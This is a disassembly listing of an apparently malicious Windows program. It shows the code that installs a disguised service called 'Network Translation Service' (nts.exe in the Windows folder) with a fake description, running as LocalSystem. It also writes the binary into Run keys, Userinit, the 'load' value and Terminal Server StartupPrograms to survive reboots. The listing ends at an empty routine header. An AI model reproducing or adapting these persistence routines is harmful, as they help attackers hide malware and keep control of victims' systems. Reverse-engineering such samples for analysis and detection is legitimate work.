		push	0
		push	0
		push	0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	0
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	dword_411E54	; ChangeServiceConfigA
		test	eax, eax
		jnz	short loc_445D36
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_445D32
		or	eax, 0FFFFFFFFh
		jmp	short loc_445D84
; ---------------------------------------------------------------------------


loc_445D32:				; CODE XREF: sub_445CF4+37j
		xor	eax, eax
		jmp	short loc_445D84
; ---------------------------------------------------------------------------


loc_445D36:				; CODE XREF: sub_445CF4+2Aj
		mov	[ebp+var_1C], 1
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E58	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_445D81
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_445D7D
		or	eax, 0FFFFFFFFh
		jmp	short loc_445D84
; ---------------------------------------------------------------------------


loc_445D7D:				; CODE XREF: sub_445CF4+82j
		xor	eax, eax
		jmp	short loc_445D84
; ---------------------------------------------------------------------------


loc_445D81:				; CODE XREF: sub_445CF4+75j
		xor	eax, eax
		inc	eax


loc_445D84:				; CODE XREF: sub_445CF4+3Cj
					; sub_445CF4+40j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445CF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_445D89	proc near		; CODE XREF: sub_445EAB+6Dp
					; DMN1:loc_446B9Cp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_445DD3
		push	96h
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		test	esi, esi
		jz	short loc_445DCA
		push	esi
		call	sub_445CF4
		pop	ecx
		mov	edi, eax
		push	esi
		call	dword_411E4C	; CloseServiceHandle


loc_445DCA:				; CODE XREF: sub_445D89+2Fj
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, edi


loc_445DD3:				; CODE XREF: sub_445D89+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_445D89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445DD7	proc near		; CODE XREF: DMN1:00446A9Bp
					; sub_447672+428p ...

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	edi, eax
		test	eax, eax
		jz	loc_445EA4
		push	16h
		push	offset aNts	; "NTS"
		push	edi
		call	dword_411E48	; OpenServiceA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_445E33
		push	ebx
		call	sub_445CF4
		pop	ecx
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_445E2F
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		push	edi
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, esi
		jmp	short loc_445EA4
; ---------------------------------------------------------------------------


loc_445E2F:				; CODE XREF: sub_445DD7+44j
		xor	esi, esi
		jmp	short loc_445E43
; ---------------------------------------------------------------------------


loc_445E33:				; CODE XREF: sub_445DD7+36j
		push	14h
		push	offset aNts	; "NTS"
		push	edi
		call	dword_411E48	; OpenServiceA
		mov	ebx, eax


loc_445E43:				; CODE XREF: sub_445DD7+5Aj
		test	ebx, ebx
		jnz	short loc_445E52
		push	edi
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	short loc_445EA4
; ---------------------------------------------------------------------------


loc_445E52:				; CODE XREF: sub_445DD7+6Ej
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_411E50	; QueryServiceStatus
		test	eax, eax
		jz	short loc_445E6A
		cmp	[ebp+var_18], 4
		jnz	short loc_445E6A
		xor	esi, esi
		inc	esi


loc_445E6A:				; CODE XREF: sub_445DD7+88j
					; sub_445DD7+8Ej
		test	esi, esi
		jnz	short loc_445E94
		push	0
		push	0
		push	ebx
		call	dword_411E5C	; StartServiceA
		test	eax, eax
		jz	short loc_445E84
		mov	esi, 2
		jmp	short loc_445E94
; ---------------------------------------------------------------------------


loc_445E84:				; CODE XREF: sub_445DD7+A4j
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_445E94
		or	esi, 0FFFFFFFFh


loc_445E94:				; CODE XREF: sub_445DD7+95j
					; sub_445DD7+ABj ...
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		push	edi
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, esi


loc_445EA4:				; CODE XREF: sub_445DD7+1Ej
					; sub_445DD7+56j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_445EAB	proc near		; CODE XREF: DMN1:loc_446BADp
					; sub_447672+3F3p ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_113		= byte ptr -113h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	esi, eax
		test	eax, eax
		jz	loc_445FE6
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	0
		push	2
		push	110h
		push	0F01FFh
		push	offset aNetworkTransla ; "Network Translation Service"
		push	offset aNts	; "NTS"
		push	esi
		call	dword_411E60	; CreateServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_445F33
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 431h
		jnz	short loc_445F25
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		call	sub_445D89
		xor	eax, eax
		inc	eax
		jmp	loc_445FE6
; ---------------------------------------------------------------------------


loc_445F25:				; CODE XREF: sub_445EAB+64j
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		jmp	loc_445FE6
; ---------------------------------------------------------------------------


loc_445F33:				; CODE XREF: sub_445EAB+57j
		push	offset aServiceRegiste ; "service registered\n"
		call	nullsub_4
		pop	ecx
		xor	edi, edi
		inc	edi
		push	0FFh
		push	offset aProvidesHardwa ; "Provides hardware-to-software	binary ne"...
		lea	eax, [ebp+var_113]
		push	eax
		call	dword_411D3C	; lstrcpyn
		lea	eax, [ebp+var_113]
		mov	[ebp+var_120], eax
		lea	eax, [ebp+var_120]
		push	eax
		push	1
		push	ebx
		call	dword_411E58	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_445F88
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_445F88
		or	edi, 0FFFFFFFFh


loc_445F88:				; CODE XREF: sub_445EAB+CBj
					; sub_445EAB+D8j
		mov	[ebp+var_11C], 1
		and	[ebp+var_118], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E58	; ChangeServiceConfig2A
		test	eax, eax
		jnz	short loc_445FD6
		call	dword_411CE8	; RtlGetLastWin32Error
		cmp	eax, 430h
		jnz	short loc_445FD6
		or	edi, 0FFFFFFFFh


loc_445FD6:				; CODE XREF: sub_445EAB+119j
					; sub_445EAB+126j
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		mov	eax, edi


loc_445FE6:				; CODE XREF: sub_445EAB+1Fj
					; sub_445EAB+75j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_445EAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_445FED	proc near		; CODE XREF: DMN1:00444F74p
					; sub_447672+B0p ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E44	; OpenSCManagerA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_44602F
		push	0F01FFh
		push	offset aNts	; "NTS"
		push	ebx
		call	dword_411E48	; OpenServiceA
		mov	esi, eax
		push	esi
		call	dword_411E64	; DeleteService
		push	esi
		call	dword_411E4C	; CloseServiceHandle
		push	ebx
		call	dword_411E4C	; CloseServiceHandle
		xor	eax, eax
		inc	eax


loc_44602F:				; CODE XREF: sub_445FED+15j
		pop	esi
		pop	ebx
		retn
sub_445FED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446032	proc near		; CODE XREF: DMN1:00446B8Ep
					; sub_447672+40Ap

var_53C		= dword	ptr -53Ch
var_538		= byte ptr -538h
var_534		= byte ptr -534h
var_409		= byte ptr -409h
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h

		push	ebp
		mov	ebp, esp
		sub	esp, 53Ch
		push	ebx
		push	esi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_400]
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_4485D1
		pop	ecx
		add	ebx, eax
		push	offset aNts	; "NTS"
		push	ebx
		call	sub_4485F1
		pop	ecx
		pop	ecx
		xor	esi, esi
		lea	eax, [ebp+var_404]
		push	eax
		push	0F003Fh
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		push	80000002h
		call	dword_411E30	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_446100
		mov	[ebp+var_408], 12Ch
		lea	eax, [ebp+var_408]
		push	eax
		lea	eax, [ebp+var_534]
		push	eax
		lea	eax, [ebp+var_538]
		push	eax
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_404]
		call	dword_411E68	; RegQueryValueExA
		mov	[ebp+var_53C], eax
		test	eax, eax
		jnz	short loc_4460F4
		mov	[ebp+var_409], 0
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp+var_534]
		push	eax
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_4460F4
		xor	esi, esi
		inc	esi


loc_4460F4:				; CODE XREF: sub_446032+A0j
					; sub_446032+BDj
		push	[ebp+var_404]
		call	dword_411E2C	; RegCloseKey


loc_446100:				; CODE XREF: sub_446032+64j
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446108	proc near		; CODE XREF: DMN1:00446B97p
					; sub_447672+413p

var_40C		= byte ptr -40Ch
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		lea	ebx, [ebp+var_408]
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4485D1
		pop	ecx
		add	ebx, eax
		push	offset aNts	; "NTS"
		push	ebx
		call	sub_4485F1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_40C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_408]
		push	eax
		push	80000002h
		call	dword_411E24	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_44627D
		mov	[ebp+var_8], 110h
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aType	; "Type"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		mov	[ebp+var_8], 2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aStart	; "Start"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		and	[ebp+var_8], 0
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	0
		push	offset aErrorcontrol ; "ErrorControl"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	0Ch
		push	offset aLocalsystem ; "LocalSystem"
		push	1
		push	0
		push	offset aObjectname ; "ObjectName"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	offset aNetworkTransla ; "Network Translation Service"
		call	sub_4485D1
		pop	ecx
		inc	eax
		push	eax
		push	offset aNetworkTransla ; "Network Translation Service"
		push	1
		push	0
		push	offset aDisplayname ; "DisplayName"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	offset aProvidesHardwa ; "Provides hardware-to-software	binary ne"...
		call	sub_4485D1
		pop	ecx
		inc	eax
		push	eax
		push	offset aProvidesHardwa ; "Provides hardware-to-software	binary ne"...
		push	1
		push	0
		push	offset aDescription ; "Description"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	sub_4485D1
		pop	ecx
		inc	eax
		push	eax
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		push	1
		push	0
		push	offset aImagepath ; "ImagePath"
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_44627D:				; CODE XREF: sub_446108+6Bj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446108	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
		push	0
		push	0
		push	0
		call	dword_411D40	; CreateEventA
		mov	ebx, eax
		test	eax, eax
		jz	short loc_4462B6
		push	ebx
		call	dword_411D44	; SetEvent
		mov	esi, eax
		push	ebx
		call	dword_411CF8	; CloseHandle
		test	esi, esi
		jz	short loc_4462B4
		xor	eax, eax
		inc	eax
		jmp	short loc_4462B6
; ---------------------------------------------------------------------------


loc_4462B4:				; CODE XREF: DMN1:004462ADj
		xor	eax, eax


loc_4462B6:				; CODE XREF: DMN1:00446299j
					; DMN1:004462B2j
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4462B9	proc near		; CODE XREF: sub_4464C6+89p
					; sub_44655C+CAp ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E24	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_44630B
		push	[ebp+arg_C]
		call	sub_4485D1
		pop	ecx
		inc	eax
		push	eax
		push	[ebp+arg_C]
		push	1
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_411E28	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_411E2C	; RegCloseKey


loc_44630B:				; CODE XREF: sub_4462B9+29j
		mov	esp, ebp
		pop	ebp
		retn
sub_4462B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44630F	proc near		; CODE XREF: sub_446417+3Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_4485D1
		pop	ecx
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_4485D1
		pop	ecx
		mov	ebx, eax
		jmp	short loc_446353
; ---------------------------------------------------------------------------


loc_446335:				; CODE XREF: sub_44630F+46j
		push	ebx
		push	[ebp+var_4]
		push	ebx
		push	esi
		push	1
		push	400h
		call	dword_411CFC	; CompareStringA
		cmp	eax, 2
		jnz	short loc_446351
		mov	eax, esi
		jmp	short loc_446359
; ---------------------------------------------------------------------------


loc_446351:				; CODE XREF: sub_44630F+3Cj
		inc	esi
		dec	edi


loc_446353:				; CODE XREF: sub_44630F+24j
		cmp	edi, ebx
		jge	short loc_446335
		xor	eax, eax


loc_446359:				; CODE XREF: sub_44630F+40j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44630F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446360	proc near		; CODE XREF: sub_446417+23p
					; sub_4464C6+4Ap ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		mov	edi, [ebp+arg_10]
		cmp	edi, 1
		jl	short loc_44637B
		test	esi, esi
		jnz	short loc_446382


loc_44637B:				; CODE XREF: sub_446360+15j
		xor	eax, eax
		jmp	loc_446410
; ---------------------------------------------------------------------------


loc_446382:				; CODE XREF: sub_446360+19j
		lea	eax, [ebp+var_8]
		push	eax
		push	0F003Fh
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_411E30	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4463A1
		xor	eax, eax
		jmp	short loc_446410
; ---------------------------------------------------------------------------


loc_4463A1:				; CODE XREF: sub_446360+3Bj
		push	[ebp+arg_4]
		push	offset aRegreadOpenedS ; "RegRead(): opened %s\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		push	0
		push	esi
		call	sub_448551
		add	esp, 0Ch
		lea	eax, [edi-1]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	ebx
		push	[ebp+var_8]
		call	dword_411E68	; RegQueryValueExA
		mov	[ebp+var_C], eax
		push	[ebp+var_8]
		call	dword_411E2C	; RegCloseKey
		cmp	[ebp+var_C], 0
		jnz	short loc_446401
		push	esi
		push	ebx
		push	[ebp+var_4]
		push	offset aRegreadReadIBy ; "RegRead(): read %i bytes from	%s (%s)\n"
		call	nullsub_4
		add	esp, 10h
		mov	eax, [ebp+var_4]
		dec	eax
		jmp	short loc_446410
; ---------------------------------------------------------------------------


loc_446401:				; CODE XREF: sub_446360+87j
		push	ebx
		push	offset aRegreadCanTRea ; "RegRead(): can't read key %s\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax


loc_446410:				; CODE XREF: sub_446360+1Dj
					; sub_446360+3Fj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446417	proc near		; CODE XREF: sub_4464C6+23p
					; sub_44655C+24p ...

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4486B1
		push	ebx
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_446360
		add	esp, 14h
		mov	ebx, eax
		test	eax, eax
		jz	short loc_446464
		push	[ebp+arg_C]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_44630F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_446462
		xor	eax, eax
		inc	eax
		jmp	short loc_446464
; ---------------------------------------------------------------------------


loc_446462:				; CODE XREF: sub_446417+44j
		xor	eax, eax


loc_446464:				; CODE XREF: sub_446417+2Fj
					; sub_446417+49j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446417	endp


; =============== S U B	R O U T	I N E =======================================



sub_446469	proc near		; CODE XREF: sub_4466F5+1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	esi, [esp+0Ch+arg_8]
		mov	edi, [esp+0Ch+arg_C]
		test	edi, edi
		jz	short loc_446482
		mov	byte ptr [ebx],	22h
		inc	ebx
		jmp	short loc_446485
; ---------------------------------------------------------------------------


loc_446482:				; CODE XREF: sub_446469+11j
		mov	byte ptr [ebx],	0


loc_446485:				; CODE XREF: sub_446469+17j
		push	[esp+0Ch+arg_4]
		push	ebx
		call	sub_4485F1
		pop	ecx
		pop	ecx
		push	[esp+0Ch+arg_4]
		call	sub_4485D1
		pop	ecx
		add	ebx, eax
		test	edi, edi
		jz	short loc_4464A5
		mov	byte ptr [ebx],	22h
		inc	ebx


loc_4464A5:				; CODE XREF: sub_446469+36j
		test	esi, esi
		jz	short loc_4464BF
		mov	byte ptr [ebx],	20h
		inc	ebx
		push	esi
		push	ebx
		call	sub_4485F1
		pop	ecx
		pop	ecx
		push	esi
		call	sub_4485D1
		pop	ecx
		add	ebx, eax


loc_4464BF:				; CODE XREF: sub_446469+3Ej
		mov	byte ptr [ebx],	0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_446469	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4464C6	proc near		; CODE XREF: sub_4466F5+78p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4486B1
		push	ebx
		push	dword_4128A4
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_446417
		add	esp, 10h
		test	eax, eax
		jnz	short loc_446557
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_446360
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_446525
		mov	[ebp+var_2000],	0


loc_446525:				; CODE XREF: sub_4464C6+56j
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_4462B9
		add	esp, 10h


loc_446557:				; CODE XREF: sub_4464C6+2Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4464C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44655C	proc near		; CODE XREF: sub_4466F5+7Dp

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4486B1
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446417
		add	esp, 10h
		test	eax, eax
		jnz	loc_44662E
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446360
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4465C0
		mov	[ebp+var_2000],	0


loc_4465C0:				; CODE XREF: sub_44655C+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_4465E5
		lea	esi, [ebp+var_2000]
		jmp	short loc_4465D2
; ---------------------------------------------------------------------------


loc_4465D1:				; CODE XREF: sub_44655C+79j
		inc	esi


loc_4465D2:				; CODE XREF: sub_44655C+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_4465D1
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_4465E5
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_4465E5:				; CODE XREF: sub_44655C+6Bj
					; sub_44655C+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_446610
		push	offset asc_40E73B ; ","
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_446610:				; CODE XREF: sub_44655C+9Fj
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4462B9
		add	esp, 10h


loc_44662E:				; CODE XREF: sub_44655C+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44655C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446634	proc near		; CODE XREF: sub_4466F5+82p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4486B1
		push	ebx
		push	esi
		push	dword_4128A4
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446417
		add	esp, 10h
		test	eax, eax
		jnz	loc_4466EF
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446360
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_446698
		mov	[ebp+var_2000],	0


loc_446698:				; CODE XREF: sub_446634+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_4466BD
		lea	esi, [ebp+var_2000]
		jmp	short loc_4466AA
; ---------------------------------------------------------------------------


loc_4466A9:				; CODE XREF: sub_446634+79j
		inc	esi


loc_4466AA:				; CODE XREF: sub_446634+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_4466A9
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_4466BD
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_4466BD:				; CODE XREF: sub_446634+6Bj
					; sub_446634+7Fj
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_4462B9
		add	esp, 10h


loc_4466EF:				; CODE XREF: sub_446634+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4466F5	proc near		; CODE XREF: sub_447672+557p

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4486B1
		push	1
		push	offset asc_40E6FF ; "*"
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_446469
		add	esp, 10h
		push	offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
		call	nullsub_4
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aNetworkTransla ; "Network Translation Service"
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_4462B9
		add	esp, 10h
		push	offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
		call	nullsub_4
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aNetworkTransla ; "Network Translation Service"
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_4462B9
		add	esp, 10h
		call	sub_4464C6
		call	sub_44655C
		call	sub_446634
		mov	esp, ebp
		pop	ebp
		retn
sub_4466F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


